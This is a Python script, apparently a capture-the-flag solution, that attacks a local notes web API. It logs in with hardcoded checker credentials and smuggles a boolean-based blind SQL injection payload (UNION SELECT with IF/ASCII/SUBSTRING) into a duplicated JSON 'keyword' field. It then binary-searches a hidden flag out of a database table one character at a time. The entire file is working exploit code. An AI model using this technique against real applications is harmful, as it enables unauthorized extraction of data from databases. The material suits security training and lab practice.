54 lines
1.5 KiB
Python
54 lines
1.5 KiB
Python
import requests
|
|
|
|
HOST = "http://localhost:12000"
|
|
|
|
def login():
|
|
token = requests.post(f"{HOST}/api/login",json={"email":"checker@gemasnotes.id", "password":"uRIqCvJ<IGb;VDT14"}).json()["token"]
|
|
return token
|
|
|
|
def send_request(payload,token):
|
|
res = requests.post(f"{HOST}/api/notes/count", data=payload, headers={"Authorization": f"Bearer {token}","Content-Type":"application/json"})
|
|
if res.status_code == 401:
|
|
new_token = login()
|
|
return send_request(payload, new_token)
|
|
return res.json()["count"], token
|
|
|
|
def attack(idx, char):
|
|
global token
|
|
|
|
sql_payload = f"' UNION SELECT IF(ASCII(SUBSTRING((SELECT fl4gg FROM rewards), {idx}, 1)) > {ord(char)},31337,0) ORDER BY 1 DESC#"
|
|
final_payload = '{"count_by":"title","keyword":"'+ sql_payload +'","keyword": "hehe"}'
|
|
result,token = send_request(final_payload, token)
|
|
|
|
if result == 31337:
|
|
return True
|
|
return False
|
|
|
|
def solve():
|
|
charset = "0123456789abcdef"
|
|
flag = ""
|
|
idx = 10
|
|
for i in range(32):
|
|
lo = 0
|
|
hi = len(charset)
|
|
|
|
while lo <= hi:
|
|
mid = lo + (hi - lo) // 2
|
|
char = charset[mid]
|
|
|
|
if attack(idx,char):
|
|
lo = mid + 1
|
|
else:
|
|
hi = mid - 1
|
|
|
|
flag += charset[lo]
|
|
print(f"CHAR {idx} | {charset[lo]}")
|
|
idx += 1
|
|
|
|
return "WRECKIT50{"+flag+"}"
|
|
|
|
if __name__=="__main__":
|
|
global token
|
|
token = login()
|
|
flag = solve()
|
|
print(flag) |